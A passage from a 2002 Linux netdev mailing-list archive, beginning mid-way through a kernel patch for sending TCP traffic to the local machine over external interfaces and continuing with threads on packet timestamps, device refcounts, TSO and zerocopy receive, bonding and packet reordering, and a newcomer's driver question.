-X /home/greear/exclude.list linux-2.4.19/net/ipv4/ip_output.c linux-2.4.19.dev/net/ipv4/ip_output.c --- linux-2.4.19/net/ipv4/ip_output.c Sat Sep 14 22:13:47 2002 +++ linux-2.4.19.dev/net/ipv4/ip_output.c Sat Sep 14 21:44:58 2002 @@ -975,7 +975,7 @@ daddr = replyopts.opt.faddr; } - if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) + if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) return; /* And let IP do all the hard work. diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/net/ipv4/tcp_ipv4.c linux-2.4.19.dev/net/ipv4/tcp_ipv4.c --- linux-2.4.19/net/ipv4/tcp_ipv4.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/tcp_ipv4.c Sat Sep 14 21:54:51 2002 @@ -865,21 +865,32 @@ return h&(TCP_SYNQ_HSIZE-1); } +/** Netdevice ID can be wild-carded by making it zero. + */ static struct open_request *tcp_v4_search_req(struct tcp_opt *tp, struct open_request ***prevp, __u16 rport, - __u32 raddr, __u32 laddr) + __u32 raddr, __u32 laddr, + int netdevice_id) { struct tcp_listen_opt *lopt = tp->listen_opt; struct open_request *req, **prev; + /* Will only take netdevice_id into the equation if neither are + * 0. This should be backwards compatible with older code, and also + * let us connect to ourselves over external ports. Otherwise, we + * get confused about which connection is the originator v/s the + * receiver of the open request. --Ben + */ for (prev = &lopt->syn_table[tcp_v4_synq_hash(raddr, rport)]; (req = *prev) != NULL; prev = &req->dl_next) { if (req->rmt_port == rport && req->af.v4_req.rmt_addr == raddr && req->af.v4_req.loc_addr == laddr && - TCP_INET_FAMILY(req->class->family)) { + TCP_INET_FAMILY(req->class->family) && + ((!netdevice_id) || (!req->bound_dev_if) || + (req->bound_dev_if == netdevice_id))) { BUG_TRAP(req->sk == NULL); *prevp = prev; return req; @@ -899,7 +910,8 @@ req->retrans = 0; req->sk = NULL; req->dl_next = lopt->syn_table[h]; - + req->bound_dev_if = sk->bound_dev_if; + write_lock(&tp->syn_wait_lock); lopt->syn_table[h] = req; write_unlock(&tp->syn_wait_lock); @@ -979,7 +991,8 @@ struct sock *sk; __u32 seq; int err; - + int netdevice_id = 0; + if (skb->len < (iph->ihl << 2) + 8) { ICMP_INC_STATS_BH(IcmpInErrors); return; @@ -1048,9 +1061,13 @@ if (sk->lock.users != 0) goto out; + if (skb->dev) { + netdevice_id = skb->dev->ifindex; + } + req = tcp_v4_search_req(tp, &prev, th->dest, - iph->daddr, iph->saddr); + iph->daddr, iph->saddr, netdevice_id); if (!req) goto out; @@ -1394,7 +1411,7 @@ #define want_cookie 0 /* Argh, why doesn't gcc optimize this :( */ #endif - /* Never answer to SYNs send to broadcast or multicast */ + /* Never answer to SYNs sent to broadcast or multicast */ if (((struct rtable *)skb->dst)->rt_flags & (RTCF_BROADCAST|RTCF_MULTICAST)) goto drop; @@ -1452,6 +1469,8 @@ req->af.v4_req.rmt_addr = saddr; req->af.v4_req.opt = tcp_v4_save_options(sk, skb); req->class = &or_ipv4; + req->bound_dev_if = sk->bound_dev_if; + if (!want_cookie) TCP_ECN_create_request(req, skb->h.th); @@ -1587,11 +1606,12 @@ struct iphdr *iph = skb->nh.iph; struct tcp_opt *tp = &(sk->tp_pinfo.af_tcp); struct sock *nsk; - + int device_id = tcp_v4_iif(skb); + /* Find possible connection requests. */ req = tcp_v4_search_req(tp, &prev, th->source, - iph->saddr, iph->daddr); + iph->saddr, iph->daddr, device_id); if (req) return tcp_check_req(sk, skb, req, prev); @@ -1599,7 +1619,7 @@ th->source, skb->nh.iph->daddr, ntohs(th->dest), - tcp_v4_iif(skb)); + device_id); if (nsk) { if (nsk->state != TCP_TIME_WAIT) { -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From laforge@gnumonks.org Sun Sep 15 01:42:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 01:42:45 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8F8gYtG019063 for ; Sun, 15 Sep 2002 01:42:37 -0700 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 3.34 #1) id 17qV3o-0004pI-00; Sun, 15 Sep 2002 10:47:20 +0200 Received: from laforge by sunbeam.gnumonks.org with local (Exim 3.34 #1) id 17qUyf-0006UN-00; Sun, 15 Sep 2002 10:42:01 +0200 Date: Sun, 15 Sep 2002 10:42:01 +0200 From: Harald Welte To: Andi Kleen Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: packet re-ordering on SMP machines. Message-ID: <20020915104201.D3810@sunbeam.de.gnumonks.org> References: <20020827142004.C4358@wotan.suse.de> <200208271306.RAA19164@sex.inr.ac.ru> <20020827151317.A3389@wotan.suse.de> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="QgTrJPeCZfhZbFCN" Content-Disposition: inline User-Agent: Mutt/1.3.17i In-Reply-To: <20020827151317.A3389@wotan.suse.de>; from ak@suse.de on Tue, Aug 27, 2002 at 03:13:17PM +0200 X-Operating-System: Linux sunbeam.de.gnumonks.org 2.4.19-pre10-newnat-pptp X-Date: Today is Sweetmorn, the 32nd day of Bureaucracy in the YOLD 3168 X-archive-position: 186 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@gnumonks.org Precedence: bulk X-list: netdev --QgTrJPeCZfhZbFCN Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Aug 27, 2002 at 03:13:17PM +0200, Andi Kleen wrote: >=20 > On Tue, Aug 27, 2002 at 05:06:30PM +0400, A.N.Kuznetsov wrote: > > Hello! > >=20 > > > Of course. The only problem is that the clock can be non mononotonous= =20 > > > sometimes and not be in sync with gettimeofday, but at least the kern= el=20 > > > users of packet timestamps do not care. > >=20 > > What kernel users? Where did you find them? :-) >=20 > Hmm, I thought TCP used it, but it seems to use jiffies directly. >=20 > Ok, no kernel users then. Not sure about sunrpc and out of tree stuff > like SCTP. The iptables ULOG target passes the skb receive timestamp to userspace, whe= re it is (depending on local ulogd configuration) written in logging/accounting databases. (ULOG is in the kernel tree).=20=20 The issue is that ULOG is batching multiple packets (or parts of packets) i= nto one netlink message sent to userspace. If userspace would make a timestamp, it would be very inaccurate. There is at least one more iptables extension (out of the kernel tree) using it - but I wouldn't consider this as important. > -Andi --=20 Live long and prosper - Harald Welte / laforge@gnumonks.org http://www.gnumonks.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D GCS/E/IT d- s-: a-- C+++ UL++++$ P+++ L++++$ E--- W- N++ o? K- w--- O- M+= =20 V-- PS++ PE-- Y++ PGP++ t+ 5-- !X !R tv-- b+++ !DI !D G+ e* h--- r++ y+(*) --QgTrJPeCZfhZbFCN Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9hEfZXaXGVTD0i/8RAsZQAKCp+oE1Ud5bJlFstlyTGQBL/O4gVgCfTCTU iWjRjN0Vuhzf4CdqoZFbv2A= =e38Z -----END PGP SIGNATURE----- --QgTrJPeCZfhZbFCN-- From greearb@candelatech.com Sun Sep 15 10:28:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 10:28:37 -0700 (PDT) Received: from grok.yi.org (IDENT:A07mAH7GwI+QbdEBOF8CBKc7pAy3wZku@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8FHSXtG030445 for ; Sun, 15 Sep 2002 10:28:34 -0700 Received: from candelatech.com (IDENT:/pzlAQkmMRZHkB4gzVPNAZxQJ96byLuJ@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8FHXMv18404 for ; Sun, 15 Sep 2002 10:33:23 -0700 Message-ID: <3D84C462.7020104@candelatech.com> Date: Sun, 15 Sep 2002 10:33:22 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" Subject: unregister_netdevice, usage count = 0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 187 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev For one reason or another, when trying to unload the e1000 NAPI'fied drive from 2.4.20-pre7, I see this error repeatedly: unregister_netdevice: waiting for eth2 to become free. Usage count = 0 So, I'm wondering if the code in dev.c, line 2688: now = warning_time = jiffies; while (atomic_read(&dev->refcnt) != 1) { if ((jiffies - now) > 1*HZ) { /* Rebroadcast unregister notification */ notifier_call_chain(&netdev_chain, NETDEV_UNREGISTER, dev); } current->state = TASK_INTERRUPTIBLE; schedule_timeout(HZ/4); current->state = TASK_RUNNING; if ((jiffies - warning_time) > 10*HZ) { printk(KERN_EMERG "unregister_netdevice: waiting for %s to " "become free. Usage count = %d\n", dev->name, atomic_read(&dev->refcnt)); warning_time = jiffies; } } dev_put(dev); Should be like this instead: while (atomic_read(&dev->refcnt) > 1) { Now, off to see if I can track down the real problem... Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From hadi@cyberus.ca Sun Sep 15 13:18:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 13:18:34 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8FKIVtG000309 for ; Sun, 15 Sep 2002 13:18:31 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id QAA29914; Sun, 15 Sep 2002 16:23:11 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8FKGDJ26220; Sun, 15 Sep 2002 16:16:13 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Sun, 15 Sep 2002 16:16:13 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , , , Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020913.150439.27187393.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 188 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev 10 gige becomes more of an interesting beast. Not sure if we would see servers with 10gige real soon now. Your proposal does make sense although compute power would still be a player. I think the key would be parallelization; Now if it wasnt for the stupid way TCP options were designed you could easily do remote DMA instead. Would be relatively easy to add NIC support for that. Maybe SCTP would save us ;-> however, if history could be used to predict the future, i think TCP will continue to be "hacked" and fit the throughput requirements so no chance for SCTP to be a big player i am afraid . cheers, jamal On Fri, 13 Sep 2002, David S. Miller wrote: > From: todd-lkml@osogrande.com > Date: Fri, 13 Sep 2002 15:59:15 -0600 (MDT) > > not sure i understand what you're proposing > > Cards in the future at 10gbit and faster are going to provide > facilities by which: > > 1) You register a IPV4 src_addr/dst_addr TCP src_port/dst_port cookie > with the hardware when TCP connections are openned. > [..] From hadi@cyberus.ca Sun Sep 15 13:25:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 13:25:04 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8FKP2tG000714 for ; Sun, 15 Sep 2002 13:25:02 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id QAA01337; Sun, 15 Sep 2002 16:29:52 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8FKMtp26233; Sun, 15 Sep 2002 16:22:55 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Sun, 15 Sep 2002 16:22:55 -0400 (EDT) From: jamal To: Ben Greear cc: "'netdev@oss.sgi.com'" , linux-kernel Subject: Re: [PATCH] Enable sending network traffic to local machine over external interfaces. In-Reply-To: <3D842C3C.6000205@candelatech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 189 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev What bad stuff are you smoking lately? Trying to turn linux into a traffic generator OS? ;-> Havent you been accused of that already? Actually, this is probably one of the few times i agree with you because i may have use for this; i dont think the maintainers may. Infact i think you are just about to be shot. How about putting ifdefs so that the code only gets activated if packetgen is active? cheers, jamal From greearb@candelatech.com Sun Sep 15 13:36:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 13:36:07 -0700 (PDT) Received: from grok.yi.org (IDENT:BElrFhaCb7uJ4vfE/9cPfdt8hhxLFMQW@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8FKa2tG001144 for ; Sun, 15 Sep 2002 13:36:03 -0700 Received: from candelatech.com (IDENT:7IpCo2PtgA1IZkSJWXxmFXFbPXW43h1/@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8FKeZv18185; Sun, 15 Sep 2002 13:40:36 -0700 Message-ID: <3D84F043.1070409@candelatech.com> Date: Sun, 15 Sep 2002 13:40:35 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jamal CC: "'netdev@oss.sgi.com'" , linux-kernel Subject: Re: [PATCH] Enable sending network traffic to local machine over external interfaces. References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 190 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev jamal wrote: > What bad stuff are you smoking lately? Trying to turn linux into a traffic > generator OS? ;-> Havent you been accused of that already? > Actually, this is probably one of the few times i agree with you because i > may have use for this; i dont think the maintainers may. Infact i think > you are just about to be shot. > How about putting ifdefs so that the code only gets activated if > packetgen is active? > > cheers, > jamal > Pktgen is independent of this particular hack. One of the flag #defines is in the patch to make my life easier, but it can be removed if that makes someone happier... Right now, I am getting panics after 30 minutes running at around 250Mbps of tcp traffic to myself over GigE nics. But, I'm running NAPI e1000, the send-to-self hack, and had the pktgen module loaded.... Trying to narrow it down...but so far, it looks like memory corruption, perhaps somewhere in tcp/ip... It can still be #ifdef'd, but some of the code just fixes the SO_BINDTODEVICE feature, so I think that may be worth putting in anyway... Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From kuznet@ms2.inr.ac.ru Sun Sep 15 17:57:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 17:57:28 -0700 (PDT) Received: from mops.inr.ac.ru ([212.44.140.147]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8G0vCtG003693 for ; Sun, 15 Sep 2002 17:57:17 -0700 Received: (from kuznet@localhost) by mops.inr.ac.ru (8.6.13/ANK) id BAA00855; Mon, 16 Sep 2002 01:55:43 +0400 Message-Id: <200209152155.BAA00855@mops.inr.ac.ru> Subject: Re: packet re-ordering on SMP machines. To: laforge@gnumonks.org (Harald Welte) Date: Mon, 16 Sep 2002 01:55:43 +0400 (MSD) Cc: ak@suse.de, netdev@oss.sgi.com In-Reply-To: <20020915104201.D3810@sunbeam.de.gnumonks.org> from "Harald Welte" at Sep 15, 2 10:42:01 am From: Alexey Kuznetsov X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 191 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > The iptables ULOG target passes the skb receive timestamp to userspace, No differences of packet socket. > one netlink message sent to userspace. If userspace would make a timestamp, Nobody proposed to do this in userspace. This would be even not "inaccuracy", the userspace time of read() is not correlated to real one at all f.e. if userspace is going to do some dns, times will differ inpredictably. Alexey From davem@redhat.com Sun Sep 15 21:27:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Sep 2002 21:27:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8G4RKtG005939 for ; Sun, 15 Sep 2002 21:27:20 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id VAA03003; Sun, 15 Sep 2002 21:23:22 -0700 Date: Sun, 15 Sep 2002 21:23:21 -0700 (PDT) Message-Id: <20020915.212321.64867280.davem@redhat.com> To: hadi@cyberus.ca Cc: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020913.150439.27187393.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Sun, 15 Sep 2002 16:16:13 -0400 (EDT) Your proposal does make sense although compute power would still be a player. I think the key would be parallelization; Oh I forgot to mention that some of these cards also compute a cookie for you on receive packets, and your meant to point the input processing for that packet to a cpu whose number is derived from that cookie it gives you. Lockless per-cpu packet input queues make this sort of hard for us to implement currently. From cfriesen@nortelnetworks.com Mon Sep 16 06:18:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 06:19:25 -0700 (PDT) Received: from zcars04f.ca.nortel.com (zcars04f.nortelnetworks.com [47.129.242.57]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GDINtG027629 for ; Mon, 16 Sep 2002 06:18:23 -0700 Received: from zcard307.ca.nortel.com (americasm01.nt.com [47.129.242.67]) by zcars04f.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8GDN8d22146; Mon, 16 Sep 2002 09:23:08 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SK2MR72W; Mon, 16 Sep 2002 09:23:10 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RDHYHWMD; Mon, 16 Sep 2002 09:23:10 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 603E12E112; Mon, 16 Sep 2002 09:23:09 -0400 (EDT) Message-ID: <3D85DB3D.DC65A80B@nortelnetworks.com> Date: Mon, 16 Sep 2002 09:23:09 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: Chris Friesen X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-6mdkenterprise i686) X-Accept-Language: en MIME-Version: 1.0 To: Cacophonix Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <20020913222213.69396.qmail@web14006.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev Cacophonix wrote: > > --- Chris Friesen wrote: > > This has always confused me. Why doesn't the bonding driver try and spread > > all the traffic over all the links? > > Because then you risk heavy packet reordering within an individual flow, > which can be detrimental in some cases. > --karthik I can see how it could make the receiving host work more on reassembly, but if throughput is key, wouldn't you still end up better if you can push twice as many packets through the pipe? Chris From todd-lkml@osogrande.com Mon Sep 16 07:14:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 07:14:54 -0700 (PDT) Received: from puerco.nm.org (puerco.nm.org [129.121.1.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GEEmtG031565 for ; Mon, 16 Sep 2002 07:14:48 -0700 Received: (qmail 22434 invoked from network); 16 Sep 2002 14:15:54 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by puerco.nm.org with SMTP; 16 Sep 2002 14:15:54 -0000 Date: Mon, 16 Sep 2002 08:16:47 -0600 (MDT) From: todd-lkml@osogrande.com X-X-Sender: todd@gp Reply-To: linux-kernel@vger.kernel.org To: "David S. Miller" cc: "linux-kernel@vger.kernel.org" , "hadi@cyberus.ca" , "tcw@tempest.prismnet.com" , "netdev@oss.sgi.com" , "pfeather@cs.unm.edu" Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020913.150439.27187393.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd-lkml@osogrande.com Precedence: bulk X-list: netdev david, comments/questions below... On Fri, 13 Sep 2002, David S. Miller wrote: > 1) You register a IPV4 src_addr/dst_addr TCP src_port/dst_port cookie > with the hardware when TCP connections are openned. intriguing architecture. are there any standards in progress to support this. bascially, people doing high performance computing have been customizing non-commodity nics (acenic, myrinet, quadrics, etc.) to do some of this cookie registration/scanning. it would be nice if there were a standard API/hardware capability that took care of at least this piece. (frankly, it would also be nice if customizable, almost-commodity nics based on processor/memory/firmware architecture rather than just asics (like the acenic) continued to exist). > not also make the api for apps to allocate a buffer in userland that (for > nics that support it) the nic can dma directly into? it seems likely > notification that the buffer was used would have to travel through the > kernel, but it would be nice to save the interrupts altogether. > > This is already doable with sys_sendfile() for send today. The user > just does the following: > > 1) mmap()'s a file with MAP_SHARED to write the data > 2) uses sys_sendfile() to send the data over the socket from that file > 3) uses socket write space monitoring to determine if the portions of > the shared area are reclaimable for new writes > > BTW Apache could make this, I doubt it does currently. > > The corrolary with sys_receivefile would be that the use: > > 1) mmap()'s a file with MAP_SHARED to write the data > 2) uses sys_receivefile() to pull in the data from the socket to that file > > There is no need to poll the receive socket space as the successful > return from sys_receivefile() is the "data got received successfully" > event. the send case has been well described and seems work well for the people for whom that is the bottleneck. that has not been the case in HPC, since sends are relatively cheaper (in terms of cpu) than receives. who is working on this architecture for receives? i know quite a few people who would be interested in working on it and willing to prototype as well. > totally agreed. this is a must for high-performance computing now (since > who wants to waste 80-100% of their CPU just running the network)? > > If send side is your bottleneck and you think zerocopy sends of > user anonymous data might help, see the above since we can do it > today and you are free to experiment. for many of the applications that i care about, receive is the bottleneck, so zerocopy sends are somewhat of a non-issue (not that they're not nice, they just don't solve the primary waste of processor resources). is there a beginning implementation yet of zerocopy receives as you describe above, or you you be interested in entertaining implementations that work on existing (1Gig-e) cards? what i'm thinking is something that prototypes the api to the nic that you are proposing and implements the NIC-side functionality in firmware on the acenic-2's (which have available firmware in at least two implementations--the alteon version and pete wyckoff's version (which may be less license-encumbered). this is obviously only feasible if there already exists some consensus on what the os-to-hardware API should look like (or there is willingness to try to build a consensus around that now). t. -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From greearb@candelatech.com Mon Sep 16 09:09:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 09:09:47 -0700 (PDT) Received: from grok.yi.org (IDENT:oeEAFqMOnTBWPs98wy98RmO/qE60itS7@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GG9itG004698 for ; Mon, 16 Sep 2002 09:09:45 -0700 Received: from candelatech.com (IDENT:Iczj2MzfAtIPNA6lnE2Aa50tljr0pojL@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8GG9gv18559; Mon, 16 Sep 2002 09:09:42 -0700 Message-ID: <3D860246.3060609@candelatech.com> Date: Mon, 16 Sep 2002 09:09:42 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Chris Friesen CC: Cacophonix , linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <20020913222213.69396.qmail@web14006.mail.yahoo.com> <3D85DB3D.DC65A80B@nortelnetworks.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Chris Friesen wrote: > Cacophonix wrote: > >>--- Chris Friesen wrote: > > >>>This has always confused me. Why doesn't the bonding driver try and spread >>>all the traffic over all the links? >> >>Because then you risk heavy packet reordering within an individual flow, >>which can be detrimental in some cases. >>--karthik > > > I can see how it could make the receiving host work more on reassembly, but if throughput is key, > wouldn't you still end up better if you can push twice as many packets through the pipe? > > Chris Also, I notice lots of out-of-order packets on a single gigE link when running at high speeds (SMP machine), so the kernel is still having to reorder quite a few packets. Has anyone done any tests to see how much worse it is with dual-port bonding? NAPI helps my problem, but does not make it go away entirely. Ben > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From facey_brian@bah.com Mon Sep 16 10:30:41 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 10:30:46 -0700 (PDT) Received: from mclean-vscan4.bah.com (mclean-vscan4.bah.com [156.80.3.64]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GHUetG008147 for ; Mon, 16 Sep 2002 10:30:41 -0700 Received: from mclean-vscan4.bah.com (mclean-vscan4.bah.com [156.80.3.64]) by mclean-vscan4.bah.com (8.11.0/8.11.0) with SMTP id g8GHZPO26230 for ; Mon, 16 Sep 2002 13:35:29 -0400 (EDT) Received: from mclean2-mail.usae.bah.com ([156.80.5.110]) by mclean-vscan4.bah.com (NAVGW 2.5.2.11) with SMTP id M2002091613352531210 for ; Mon, 16 Sep 2002 13:35:25 -0400 Received: from bah.com ([156.80.81.142]) by mclean2-mail.usae.bah.com (Netscape Messaging Server 4.15) with ESMTP id H2JKU600.A3Z for ; Mon, 16 Sep 2002 13:34:54 -0400 Message-ID: <3D86165C.F3320504@bah.com> Date: Mon, 16 Sep 2002 13:35:24 -0400 From: "Facey Brian" Organization: BAH X-Mailer: Mozilla 4.78 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Networking X-Priority: 2 (High) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 196 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: facey_brian@bah.com Precedence: bulk X-list: netdev Dear Net Developers, I inherited an SGI 320. I have Slackware 8.0 running on it and I am eager to connect it to the network. I edited rc.inet1 and ran it. Unfortunately, I could not configure eth0. Which driver do I need to select in rc.modules? Is the ethernet port SGI proprietary? Please advise. Thanks, Brian From davem@redhat.com Mon Sep 16 12:56:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 12:56:22 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net 